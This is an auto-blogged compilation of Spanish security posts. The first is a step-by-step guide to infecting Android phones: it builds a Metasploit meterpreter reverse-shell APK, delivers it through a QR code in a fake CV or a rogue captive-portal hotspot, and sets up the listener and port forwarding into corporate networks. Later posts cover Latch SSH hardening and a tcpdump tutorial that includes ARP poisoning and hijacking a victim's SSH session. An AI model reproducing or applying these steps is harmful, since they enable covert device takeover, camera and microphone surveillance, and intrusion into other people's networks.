Comprometiendo sistemas Android (1ª parte)

Cada día más personas utilizan smartphones y tablets para navegar por Internet y gestionar sus cuentas online. Por este motivo, los cibercriminales centran los ataques hacia estos dispositivos, lo que supone la aparición de nuevas amenazas y malware.

Durante este año, el 98,09% de los ataques móviles fueron dirigidos al sistema operativo Android. Esto se debe a varios factores. En primer lugar, esta plataforma es muy popular ya que es el sistema operativo más utilizado en los smartphones, con una cuota de mercado del 70%. Además, la naturaleza de plataforma abierta del sistema operativo Android, la facilidad con la que se pueden crear las aplicaciones o la amplia variedad de mercados de aplicaciones (no oficiales) que existen influyen de manera significativa en la seguridad. Android le está ganando la partida al resto de sistemas operativos y ya es el software para móviles más utilizado en todo el mundo.

Por tanto, es un factor muy importante a tener en cuenta a la hora de securizar una red corporativa, o a la hora de planificar un ataque dirigido.

Los terminales inteligentes, pueden llegar a ser una puerta fácil, que nos abran las puertas a un objetivo bien securizado. En muchas redes y por descuido del usuario, suelen ser aparatos confiables... Ejemplo claro sería el móvil del jefe, conectado por wifi a la red , que da al traste con todas las políticas de IT, creerme que es más usual de lo que debiera. 

En esta serie de entradas vamos a ver como poder echar mano a este recurso....

Para el ejemplo, nos vamos a valer de un módulo de Metasploit, Android meterpreter, que cabe destacar que es una herramienta brillante desde su "simpleza", la cual sería muy fácil incluir en algún código a modo de 'backdoor' sin levantar muchas sospechas. A parte los creadores han dejado el código fuente y mucha información a nuestra disposición.
También podríamos utilizar cualquier otro tipo de backdoor para android, o incluso aprovechar herramientas que pueden estar albergadas en el sistema, como veremos en entradas posteriores...

Para el que necesite más detalles sobre este módulo, me viene a la cabeza un buen artículo de SbD.

Para la infección veremos un par de ejemplos sencillos, aunque este apartado sólo esta limitado por la imaginación del artista...
Como dije anteriormente para ilustrar esta entrada nos va a bastar con android meterpreter, con el que vamos a generar una aplicación para infectar nuestro objetivo. No nos vamos a entretener mucho en detalles pero para el que conozca meterpreter y msfpayload no le será difícil enrevesar el proceso a fin de complicar su detección...Tanto la elaboración como el ataque en sí difiere poco del meterpreter clásico:Abriremos nuestro terminal y a typear:#sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1..121 LPORT=4444 R > /root/Desktop/wifi.apk


Con esto generamos la aplicación, la cual nos está esperando en /root/Desktop/ 

recordar que la ip tiene que ser la de eth0 (o por donde nos entre internet).

Vamos a ver dos métodos sencillos el primero todo un clásico "QR" y en el segundo utilizaremos un falso AP (que ya vimos en Hackplayers y con el fin de darle a este "cotarro" cierta continuidad interesante).
Para la primera nos basta con subir nuestra aplicación a cualquier servidor y generar un código QR de enlace a esta, lo podemos hacer directamente con SET o con cualquier herramienta online para este fin.
(luego veremos lo que puede hacer saltar nuestras alarmas)..

Arrancamos SET y seguimos estos pasos:

1) Social-Engineering Attacks

Seleccionamos la opción
 
9) QRCode Generator Attack Vector

Ingresaremos la url donde hemos subido nuestra apk.

El siguiente paso requiere de algo de ingeniería social para hacer llegar el código al objetivo:

Por ejemplo podemos mandar un currículum falso a recursos humanos de la empresa con el QR  (que esta de moda) dando el enlace de la descarga... otra cosa sera que la víctima ejecute el archivo....cosa más que improbable.2º método

Nuestro hotspot trampa

 10 min. Gimp, html basico...se puede mejorar. Mi gato que es de la Sgae reserva los derechos.
Aquí refinaremos nuestro engaño...Partiendo de la entrada anterior en la que creamos un punto de acceso falso, en esta ocasión añadiremos unas pequeñas modificaciones a nuestro AP para hacerlo pasar por un hotspot o portal cautivo lícito que ofrece servicio a Internet, y deberemos convencer al usuario a descargarse una aplicación y ejecutarla, para obtener un user y password válido. Si os acordáis, en el la entrada anterior hicimos un script para arrancar y darle las directrices a iptables al unisono se llamaba "RogueAP.sh"; en esta ocasión haremos otro que no es más que el mismo modificado con una  regla más de iptables para crear el portal cautivo.
  Si os dais cuenta tan solo le he añadido una linea.
iptables -t nat -A PREROUTING -s 10.0.0.0/24 -p tcp --dport 80 -j REDIRECT --to-ports 55555

Para el siguiente paso necesitamos tener instalado apache web server, y simular un hotspot ... para esto necesitaremos un index.html y un par de archivos php y ser algo creativos. Yo no me he esplayado mucho, pero cuanto más meticulosos seamos, mayor será la probabilidad de éxito, también podríamos clonar el hotspot de una cafetería, hotel etc...
No voy a entrar en el detalle de cada uno de los archivos, tan solo los describiré los más importantes y os dejo la descarga.

INDEX.html : nuestra página
log.php : se encarga de comprobar el login y de dejar pasar una vez hecho.
inf.php : filtra por user agent, si es android sirve una apk, si es un PC podría servir otro archivo ...tan solo está para android puesto es de lo que va la entrada...(el que quiera lo puede acabar y así tener un buen "atrapamoscas"). 

ficheros hotspot

Una vez descargada la carpeta , la copiamos a  /var/www/hotspot (previamente creado) y le damos permisos...

Ahora tan solo nos queda configurar apache.
Dado que llevo más de un asunto entre manos en mi servidor apache, para hacerlo que responda por el puerto 55555 que hemos configurado en Falsohotspot.sh anteriormente, y para hacer las cosas medio regular, he optado por configurarlo para que me sirva el hotspot como otro dominio en la máquina para ello seguiremos estos pasos...

#cp /etc/apache2/sites-available/default hotspot
#nano hotspot
Editaremos las 3 primeras lineas
 

Ahora activamos el site:

#a2ensite hotspot

En /etc/apache2/ports.conf decimos por donde va a estar escuchando nuestro hotspot.

#/etc/init.d/apache2 restart

Con ésto hemos terminado de configurar apache.

Por último ejecutaremos visudo y añadiremos esta linea al final del archivo
www-data bt=(root) NOPASSWD:/sbin/iptablesHemos dicho que vamos a utilizar el POC de meterpreter para android.....(podríamos utilizar cualquier otra apk pero a sido lo primero que he agarrado).

Así no creo que engañe a nadie desde luego...... tendremos que hacer algunos cambios, no muy difíciles para tener alguna oportunidad....aquí solo lo voy a tocar muy superfluamente, pero se puede profundizar muchísimo más...sólo limitados por nuestros conocimientos.. 
 
Para realizar estos necesarios cambios, si queremos dar el pego (y es aquí donde he visto que yo solo me liado, podría haber cogido un soft mas adecuado) utilizaremos un tipo de  aplicación  a la que mi compañero Vicente es asiduo ;D Apk_manager.. lo tenemos de todos los sabores Linux, Windows, y mac 

Una vez instalada Apk_manager, vamos a llevar a cabo las siguientes acciones:

-descomprimiremos la aplicación.
-cambiaremos los archivos pertinentes.
-comprimiremos y firmaremos

Descomprimir la aplicacion: cogeremos el archivo creado con msfpayload lo situaremos en la carpeta place-apk-here-for-modding , arrancaremos la aplicacion con ./Scrit.sh , Nos preguntará si queremos limpiar la carpeta out, le diremos que NO.
Pulsaremos la opción 9.

Cambiar archivos: nos dirigimos a la carpeta Out y cambiamos los archivos que nos convengan.

Comprimir y firmar: pulsamos la opción 13 y tras esperar un rato ...Ctrl+C.. nos generará un archivo llamado repackaged-signed.apk en la carpeta place-apk-here for-mading. Copiaremos nuestra aplicacion modificada al directorio que previamente crearemos /var/www/hotspot/downloads.

Ya tenemos listo nuestro "atrapamoscas" para este ejemplo...Podemos echarle un par de horas para completarlo...  proporcionarle habilidades sniffers, completar su detección de User Agent y enviar otra serie de archivos, o incluso exploit remotos al objetivo....y tendremos un cebo MUY LETAL..no sólo para Android.... 
Puff ya llegamos al final tranquilos....Bueno a llegado el momento de comprobar si todo esta bien y arrancar nuestro invento...con una conexión a Internet por ETH0 (o en otra interface ya sea cableada o wireless) arrancaremos nuestro Hotspot con el script creado (no olvidar arrancar apache si no lo hemos hecho, y que eth0 tenga ip lo cual podemos forzar si es necesario con dhclient eth0), este a su vez arrancara nuestro servicio DHCP.sudo msfconsole
use exploiter/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.121
set lport 4444
exploitTan sólo nos queda esperar a nuestros nuevo/s amigos....

Al cabo de un rato....vemos que nuestro objetivo picó...
Para ver que podemos hacer con meterpreter basta con hacer un help y nos dará un listado de sus posibilidades...

meterpreter>help

Entre algunas lindezas meterpreter nos permite hacer capturas con la cámara y el micro, tener un acceso a la shell del sistema con lo que esto supone, subir y descargar archivos.etc etc.

Debemos considerar la posibilidad de un acceso permanente al dispositivo, (que ya veremos), aparte de esto hay una opción muy interesante al igual que peligrosa, es la posibilidad de hacer port-relaying desde el terminal móvil... Sería un desastre que el usuario tuviese levantado la VPN que le da acceso a la red interna de la empresa....

meterpreter> portfwd add -l 80 -r 192.168.123.15 -p 80

MORALEJA : utiliza siempre el sentido común. Usuario de teléfono móvil precavido vale por dos. Cuidado con los archivos que llegan por mensajería instantánea, correo electrónico o de cualquier otra manera....tener un buen hábito para la seguridad informática vale por dos antivirus, y por último un firewall para tu teléfono te puede ahorrar mas de un dolor de cabeza...

View the original article here

This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Securizando openssh MODE PARANOICO 2ª parte (rizando el rizo con Latch)

Con el fin de completar nuestro pasado artículo,
securizando openssh MODE PARANOICO en el que vimos como securizar el servicio SSH en nuestro servidor, en esta entrada vamos a ver cómo aplicar otra capa de seguridad a nuestra particular "cebolla";
para eso echamos mano de una recién nacida aplicación  de Eleven Paths de la cual ya hablamos en nuestro blog.

Latch es un servicio ofrecido por la empresa de seguridad española Eleven Paths, el cual actúa a modo de "pestillo" de nuestras identidades digitales.

Esto nos permite que, por ejemplo, en el caso que alguien obtenga nuestro nombre de usuario y contraseña de algún servicio digital, poder evitar que esa persona se haga pasar por nosotros simplemente "cerrando el pestillo" desde nuestra cuenta de Latch.

También podemos hacer que cuando no estemos usando una cuenta, su acceso esté deshabilitado, y solo se active cuando nosotros deseemos utilizarla.

Para más información:
WEB OFICIAL DE LATCH

Tras este breve copy&paste vamos al turrón.
 
Lo que vamos a hacer, simplificando al máximo la explicación, es mediante nuestro móvil apagar y encender el servicio, de manera que tendremos un control absoluto sobre cuando se puede acceder al servicio, reforzando mucho mas la seguridad y sin tener que tener acceso físico al servidor.
En serio que suena mas complicado de lo que es ...sinceramente me he quedado con las patas vueltas al ver lo fácil que resulta implementarlo...
 
Lo primero que necesitamos es tener un número de identificación de aplicación (APPLICATION ID) y lo segundo una clave secreta (secret). 
Para ello deberemos registrarnos en latch.elevenpaths.com/ developers area. Tras cumplimentar el registro y loggearnos entraremos en 'my applications' y crearemos una nueva.

Una vez cumplimentada la información salvaremos los cambios...

En este paso obtenemos el APPLICATION ID y EL SECRET que necesitaremos mas tarde...
 
 
Ahora hay que emparejar nuestra cuenta de usuario de SSH con nuestra aplicación en LATCH. Para ello nos serviremos del script escrito por Alejandro Ramos de SecurityByDefault.Primero y para ser ordenados nos colocaremos en el directorio HOME y crearemos una carpeta llamada LATCH y copiaremos el código del script en reg.sh, pondremos nuestro APLICATION ID y SECRET donde corresponda (sustituyendo las XXXXX) y guardaremos, para terminar dando permisos de ejecución al script.Podemos encontrar el código aquí.Ahora nos bajaremos el cliente de Latch en la versión que corresponda  a nuestro terminal:

-ANDROID PHONE                        
-APPLE PHONE                          
 -WINDOWS PHONE

Tras instalarla y configurarla añadiremos un nuevo servicio, para esto solo tendremos que darle al botón de "Add Service", y posteriormente al de "Generate a pairing code", tras lo cual nos dará un código de emparejamiento.

Ejecutaremos:
./reg.sh

y si todo ha ido bien recibiremos un bonito DONE, lo que querrá decir que se habrán guardado  los pares usuario:token en /home/LATCH/latch.accounts.

Podremos pasar al siguiente paso.
 
 
Una vez emparejado el asunto, lo que deberemos hacer es que nuestro demonio sshd se comporte como nosotros esperamos... es decir, cuando el cliente se conecte comprobará si el servicio está desbloqueado en Latch o por el contrario bloqueado, para ésto volveremos a utilizar el script que nos ofrece DEXAFREE al cual añadiremos una línea, puesto que si lo utilizamos como está y bloqueamos el servicio y lo desbloqueamos después, este no vuelve a levantarse teniendo que hacerlo a mano... 

Para ello copiaremos el script de aquí y lo modificaremos con nano añadiendo la línea que se ve en la imagen.
 
Ahora como en la primera parte sustituiremos el APPLICATIONID Y el SECRET por los nuestros, guardaremos el archivo con el nombre stat.sh y le daremos permisos de ejecución.

Para que se compruebe el estado de Latch cada vez que el usuario inicie sesión por SSH tendremos que hacer que se ejecute stat.sh. Para ello hay que modificar el archivo .bashrc  del usuario por defecto  y añadir la siguiente línea:

cd /root
nano  ./bashrcy al final del archivo añadir la línea: /home/LATCH/./stat.sh

Ya solo quedaría reiniciar la máquina y habríamos terminado.

Viendo todo el proceso ¿¿no se os ocurren más formas y cosas para utilizar Latch con solo un par de cambios en los scripts??

View the original article here

This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Qué deberíamos saber sobre Tcpdump (parte III)

Es aquí donde el viejo y sabio maestro de Kungfu diría "donde ves tú la debilidad veo yo la fortaleza" si piensas que Tcpdump ha quedado obsoleto por la aparición de herramientas con interfaz gráfica como Wireshark.
Tómate un tiempo y piénsatelo de nuevo...

En esta entrada vamos a ver como una herramienta (la cual suponíamos que conocíamos) puede darnos con poco esfuerzo gratos momentos dejando atrás la idea que teníamos de ella, y veremos como el inconveniente que algunos creen que tiene se convierte en su mayor ventaja... no está de más decir que hay herramientas más preparadas para lo que vamos a hacer...

Dónde colocar nuestro sniffer

Tenemos que colocar el sniffer en algún sitio por el que pase todo el tráfico que nos interese. Esto lo podemos hacer con algunas capacidades de los switches como el Port Mirroring (puertos espejo) o cualquier electrónica de red por la que pase todo el tráfico (Firewalls, TAP, Apliances).

Desde luego estamos hablando de una red nuestra....para los "otros casos " siempre nos quedara el envenenamiento Arp.

Aclaro esto puesto que no sé cuántas veces he tenido que oír : "no puedo capturar el tráfico de mi red" incluso de gente que no es tan profana en la materia....
 
Qué queremos capturar
 
Ya hemos visto varios ejemplos de cómo dar con el "paquete adecuado"... creo que no cabe más mención respecto a este tema...
Bueno al grano....

Vamos a imaginar que estamos a cargo de una red, o mejor que estamos dentro de una red en la cual sospechamos que alguien hace uso del email para contactar con sus secuaces.....(XD mola poner casos inverosímiles) y sospechamos que van a poner una BOMBA...

Paso de estar registrando largas capturas o perder los ojos en el Wireshark voy a dejar a Tcpdump que se lo curre un poquito... puff pero no sé programar...O_o ....chachan!!! pero se hacer filtros!!!

tcpdump -i wlan0  -n -X -s 1500 port 25 | grep  -A 30 -B 5 BOMBA

Con este ejemplo tan tonto lo que hemos querido dejar patente es que gracias a que Tcpdump está hecho expresamente para funcionar en la línea de comandos, es facilísimo implementarlo directamente en un script, y con poquísimos medios y conocimientos hemos sido capaces de escudriñar hasta dar con nuestro objetivo.

Podríamos haber sido más precisos a la hora de hacer el filtro (jeje y más técnicos)  pero el objetivo es ver la simpleza...

Y si lo llevamos más lejos de grep....

Lo que haremos con el siguiente ejemplo es identificar quien nos está haciendo ping y si nos da la gana lo bloquearemos:

Nótese que la simpleza del script es crítica , pero si desarrollamos la idea, nos puede quedar un bonito firewall interactivo; o podríamos automatizar medidas de defensa o ataque...

Un poco más...

Para este ejemplo nos vamos a valer de Mausezahn ya hemos hablado del aquí un par de veces es más este ejemplo ya lo vimos también... 

Lo que haremos es secuestra una sesión tcpip y cortarla con un paquete rst. Para esto debemos dar con un número de secuencia válido e inyectar nuestro paquete a tiempo:

CÓDIGO EN PASTEBIN

Mediante envenenamiento de Arp colocamos a Tcpdump en disposición de capturar los paquetes de nuestra víctima la cual está conectando por SSH a una máquina remota.  

Con  tcpdump -S recogemos los números absolutos de la secuencia del flujo de paquetes, con MZ montamos un paquete valido para secuestrar la sesión y cerrar la conexión...

Espero que este artículo haya despertado tu interés por Tcpdump y os haya dado algunas ideas nuevas. 

Además de sus muchas características y opciones integradas, como he mostrado en varios ejemplos, Tcpdump puede ser utilizado como un conducto de paquetes de datos dirigiendo su salida a la entrada de otros comandos para expandir aún más las posibilidades.

Las formas de usar tcpdump sólo están limitadas por tu imaginación. 

Tcpdump también es una increíble herramienta de aprendizaje. No hay mejor manera de aprender cómo trabajan las redes y los protocolos que observando sus paquetes reales. 

El legado de Tcpdump

Tcpdump ha sido la herramienta de captura de paquetes de facto durante los últimos 25 años. Esta realmente generó todo una categoría de utilidades de redes basadas en sniffing y análisis de paquetes. 

Antes de Tcpdump, la captura de paquetes demandaba demasiado procesamiento lo que la hacía muy poco práctica. Tcpdump introdujo algunas innovaciones y optimizaciones clave que ayudaron a hacer que la captura de paquetes fuera más viable, tanto para los sistemas regulares como para las redes con mucho tráfico. 

Las utilidades que llegaron después no sólo siguieron el ejemplo de Tcpdump, sino que también incorporaron directamente sus funcionalidades de captura de paquetes. Esto fue posible porque desde muy temprano, los autores Tcpdump decidieron separar el código de captura en una librería portable llamada libpcap.

Wireshark, ntop, snort, iftop, ngrep y cientos de otras aplicaciones y utilidades disponibles en la actualidad se basan en libpcap. Incluso la mayoría de aplicaciones de captura de paquetes para Windows se basan en un "port" de libpcap llamado WinPcap.

Bueno un saludo y sed buenos (que vienen los reyes)... 

Serie de artículos: Qué deberíamos saber sobre Tcpdump (parte 1, parte 2, parte 3).

View the original article here

This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Qué deberíamos saber sobre Tcpdump (parte II)

Para terminar esta semana seguiremos por donde lo dejamos en la primera parte de esta serie de artículos sobre Tcpdump. 
  
La captura de paquetes es una de las formas más poderosas y fundamentales para analizar las redes. Y de la mano viene el filtrado.

Hoy nos ocupa el filtrado de las cabeceras de los  datagramas. Si recordáis, ya vimos un pequeño ejemplo en la entrada anterior, concretamente la manera de hacer filtros para los paquetes por el estado de sus flags...

Filtrado avanzado de encabezado
 
Tal y como os comento, anteriormente vimos como filtrar las banderas en el protocolo tcp según su posición en el octeto correspondiente en la cabecera. 
Como no, hay varias maneras de hacer esto...

Si para filtrar los paquetes con el ACK activo era " tcp[13] & 16 == 16 " , en realidad hay una manera mas fácil de hacer esto y sería: tcpdump-i eth1 'tcp [tcpflags] == tcp-ACK'

De esta misma manera podemos filtrar los paquetes tomando como referencia cualquier parte del Header del paquete y podemos aplicar los siguientes operadores >,<, >= <=, = y !=
 tcpdump "udp[0:2] < 1024"

Examinemos el filtro como antes: le estamos indicando que lea el octeto 0 con :2 y le estamos diciendo que lea dos octeto. En cristiano que lea del octeto 0 al octeto 1, o sea el puerto de origen, y que nos filtre sólo los paquetes cuyo puerto de orígen sea menor a 1024 ...

Si miramos con los ojos y un poco de conocimiento, a simple vista podemos deducir que podríamos filtrar este datagrama de las siguientes formas:

Esto mismo lo podemos hacer con el datagrama ICMP
Por ejemplo, si quisiéramos que nos mostrara las solicitud de eco (ECHO REQUEST, solicitud ping)  solamente el filtro quedaría tal que así:

tcpdump -i wlano -n 'icmp[0] = 8'  

 
Otro ejemplo con los Echo reply:
 
tcpdump -i wlan0 -n "icmp [0] = 0"

 
Y por último, para que quede más claro si cabe, vamos a filtrar destination unreachable:
 
tcpdump -i wlan0 -n "icmp [0] = 3"

Como estamos viendo podemos filtrar casi cualquier cosa con Tcpdump, pero sigamos viendo ejemplos...

Miremos el encabezado IP: 
 

Vamos a filtrar los paquetes recogidos por Tcpdump cuyo TTL sea mayor de 6
pues fijándonos en la imagen sabemos que el tiempo de vida del paquete queda recogido en el octeto numero 8, por lo tanto nuestro filtro quedaría así:

tcpdump -i wlan0 -n  "ip[8] > 6"
 
A Tcpdump también le podemos decir que compare el paquete con una cadena en hexadecimal de manera que podríamos decirle que filtrara los datagramas IP cuyo IP de origen sea 0xC0A8040F o 192.168.4.15:
 
tcpdump -i wlan0 -n "ip[12:4] = 0xC0A8040F"

Con esto le decimos que lea 4 octetos a partir del octeto 12 (ip origen) y lo compare con nuestro valor hexadecimal.
 
Algo que también podemos hacer a la hora de hacer filtros Tcpdump es agrupar con paréntesis:
 
tcpdump -i wlan0 -vvv -s 1500 '((port 67 or port 68) and (udp[38:4] = 0x3e0ccf08))'

Como veis podemos filtrar todo, solo tenemos como limite nuestra ocurrencia.

Tcpdump no tiene una opción de ensamblar las sesiones TCP directamente desde los paquetes, pero puede ser "simularlo" mediante el uso del comando strings
tcpdump -l -s0 -w - tcp dst port 80 | strings 
La opción -l anterior activa un buffer de línea, lo que hace que los datos se muestren en pantalla de inmediato.

Lo que sucede es que Tcpdump imprime los datos binarios sin formato en la pantalla. Esto da un giro con la opción -w donde el nombre de archivo especial - escribe a STDOUT en lugar de a un archivo. Normalmente, al hacer esto se mostraría todo tipo de basura, pero ahí es donde viene a cuento el comando strings que solo permite que se impriman en pantalla los datos reconocidos como texto.
Análisis HTTP

Usando el truco de strings podemos capturar datos HTTP, aunque Tcpdump en realidad no entienda nada al respecto. Luego de capturados, podemos analizarlos de varias maneras. 

Si queremos ver todos los sitios web accedidos por 192.168.1.190 en tiempo real, por ejemplo, sería algo así:

tcpdump -i eth1 -l -s0 -w - host 192.168.1.190 and port 80 \ | strings | grep 'GET\|Host' 

En este ejemplo, estoy usando un comando grep para mostrar sólo las líneas con GET o Host. Estas cadenas se muestran en las peticiones HTTP y en conjunto muestran las direcciones URL a las que se accede.

Bueno espero no haber sido muy espeso :D , os emplazo a la tercera y última entrega ...

View the original article here

This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Qué deberíamos saber sobre Tcpdump (parte I)

En una entrada anterior un lector anónimo comentaba: "Muy interesante sería una entrada para desvelar los misterios de tcpdump. En muchos tutoriales solo se araña la superficie de esta herramienta"... lo intentaremos.
La verdad es muy difícil decir algo de esta herramienta que no esté ya dicho, pero voy a intentar hacer un artículo en varias entregas con lo que creo que se debería saber sobre este magnifico sniffer. 

En esta serie de entradas (creo que serán unas 3) intentaremos abarcar todos los aspectos de esta herramienta, por favor si me dejo algo decirlo.
 
Para quien no sepa lo que es Tcpdump echaremos mano de Wikipedia... a modo de introducción: Tcpdump es un herramienta en línea de comandos cuya utilidad principal es analizar el tráfico que circula por la red.

Permite al usuario capturar y mostrar a tiempo real los paquetes transmitidos y recibidos en la red a la cual el ordenador está conectado. Tcpdump funciona en la mayoría de los sistemas operativos UNIX: Linux, Solaris, BSD, Mac OS X, HP-UX y AIX entre otros. En esos sistemas, tcpdump hace uso de la biblioteca libpcap para capturar los paquetes que circulan por la red. 

Existe una adaptación de Tcpdump para los sistemas Windows que se llama WinDump y que hace uso de la biblioteca Winpcap.

Tcpdump fue escrito originalmente en 1987 por Van Jacobson, Craig Leres y Steven McCanne. A día de hoy va por la versión: 4.5.1 / 1.5.2 release date: Nov 20, 2013/Dec 3, 2013.

Utiliza libpcap al igual que wireshark, snort, nmap, kismet, iftop, xplico y un largo etc...t ambién creada por estos tres "elementos", TCPdump puede ser a día de hoy unos de los sniffer mas usado en todo el mundo, por su versatilidad y potencia.

Dicho esto entramos en harina... 
 
Instalación

Lo podemos descargar de la pagina oficial y compilarlo, aunque sería muy raro que no estuviese en los repositorios como paquete ya precompilado para cualquier distribución. Debian, Ubuntu y derivadas lo pueden instalar con Apt,  Centos, Redhat con Yum, Opensuse con Yast,etc, etc.

Para mí, la mejor característica que tiene Tcpdump es que esta diseñado para correr en la linea de comandos, esto nos ofrece posibilidades que otros sniffers igual de potentes no tienen, sacrificamos a priori vistosidad y intuición de manejo por versatilidad...

Tcpdump básico

Antes de comenzar conviene echarle un ojo a las opciones de esta herramienta un poco por encima. Más adelante las iremos viendo todas:
Con esto ya estamos preparados para nuestro primer comando:
  
tcpdump -i wlan0 -n   
 
Lo que le estamos diciendo a tcpdump es que capture el trafico con la tarjeta de red Wlan0 y que no resuelva los nombres de las interfaces de manera que nos saldrían las ip:    
En realidad de momento esto no tiene ningún misterio: nosotros ordenamos y tcpdump obedece.

Vamos a ver otro ejemplo:
 
tcpdump -i wlan0 -n -c 1 -t -A 
  
En cristiano sería: -i captura el trafico por wlan0, -n no resuelvas los nombres, -c1 cuando hayas capturado 1 paquetes para, -t no muestres la hora, -A muestra los paquetes en ascII:

 
Otras opción que interesa ver sería -s len, donde "len" es la longitud que nos interesa. 

Por defecto Tcpdump sólo captura los primeros 68 bytes, lo cual es útil si lo único que se quiere son las cabeceras IP, TCP o UDP.  Sin embargo, en caso de estar esnifando protocolos como NFS se truncan los datos. En ese caso podemos ajustar la longitud de la captura a la MTU del medio que estamos usando con esta opción. Por ejemplo para capturar toda la trama ethernet podemos usar -s 1500 o -s 0.
  
Filtrado básico

A veces no nos interesa ver todos todos los paquetes que pasan por nuestra red y queremos ver los que salen de una determinada ip, o los de un puerto en concreto, etc.

Para esto Tcpdump viene bien armado, los modificadores básicos son 3:

Tipo:

Puede ser host, net o port, portrange indican respectivamente una máquina, por ejemplo host 192.168.1.1, una red completa, por ejemplo net 192.168,  un puerto concreto o un rango de puertos.

Veamos unos ejemplos:
 
Captura el tráfico que entre o salga del host 192.168.1.1 por el puerto 22:

tcpdump -i wlan0 host 192.168.1.11 port 22

Captura el tráfico con destino 192.168.1.11 por el rango de puertos del 22 al 25 pero no el 23:

tcpdump -i wlan0 host 192.168.1.11 and  portrange 22-25 and not 23
 
Dirección:

Especifica desde o hacia donde se va a mirar el flujo de datos. Tenemos src  (source) o dst (destination) y podemos combinarlos con or, and y not. Para el caso de de protocolos punto a punto podemos sustituir por inbound o outbound.

Más ejemplos:

Captura los paquetes que vienen de 192.168.1.11:

tcpdump -i wlan0 src 192.168.1.11 

Captura los paquetes que van hacia 192.168.1.11:

tcpdump -i wlano dst 192.168.1.11

Captura los paquetes con el origen 192.168.1.11 y destinado a 192.168.1.35:
 
tcpdump -i wlan0  src 192.168.1.11 and dst 192.168.1.35  
 
Por supuesto se pueden combinar con los modificadores anteriores:

tcpdump -i wlan0 -n -S src 192.168.1.11 and dst 192.168.1.35 and dst  port 25
  
Captura los paquetes de origen 192.168.1.11 con destino 192.168.1.35 con el puerto de destino 25.

Proto:

En este caso es el protocolo que queremos capturar: tcp, udp, icmp, rarp, ip, ip6, igrp, icmp6, igmp, etc, etc...

tcpdump -i wlan0 icmp and host 192.168.1.1
   
Seguro que me dejo infinidad de expresiones y combinaciones, todo lo anterior lo podemos escribir tanto con nombres de servidor, direcciones ip o direcciones mac... Como veis cuando hablé de versatilidad iba en serio.

Siguiendo con el tema del filtrado ....todavía podemos filtrar aun más y ser mucho mas quirúrgicos...

Filtrado (no tan básico) de FLAGS 
 
Imaginemos que queremos filtrar todos los paquetes que lleguen de una máquina a otra por un puerto determinado, que tengan el flag activo ACK (así dicho tan en frío casi suena a rollazo pero en el próximo tutorial veremos un par de ejemplos muy divertidos). 

Esto lo podríamos filtrar del siguiente modo (es un poco largo pero luego veremos como abreviarlo todo):

tcpdump -i wlan0  src host 192.168.1.10 and dst host 192.168.1.30 and port 22 and  -S -n  " tcp[13] & 16 == 16 "

Fijémonos ahora en la parte resaltada del filtro y veamos de dónde sale y qué significa.

Para ello debemos ver como es una cabecera tcp y dónde se sitúa la bandera ACK (esto mismo se puede hacer con otros protocolos como icmp, luego veremos cuanto puede dar de sí ésto...)

   
Como podemos ver, la bandera ACK está situada en el octeto número 13. De ahí sale el principio del filtro tcp[13].

Ahora miremos más de cerca... el octeto sería 0001000 si tuviese el flag ACK activo. Si pasamos esa situación de binario a decimal nos da 16 con lo cual podemos decirle a tcpdump que mire en la cabecera en el octeto 13 y si es igual a dieciséis que nos muestre esos paquetes ..." tcp[13] & 16 == 16 " 

¿Sencillo no?, imaginad... ¿qué no podéis filtrar con tcpdump?, ¿se puede ser mas quirúrgico?...

Otro ejemplo. Si queremos visualizar los paquetes  con  el syn ack activo el estado del octeto 13 sería 00010010 = 18 con lo cual el filtro es " tcp[13] & 18 == 18.

Bueno por hoy lo dejamos aquí, espero no haber aburrido y hasta la segunda entrada sobre Tcpdump...

View the original article here

This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.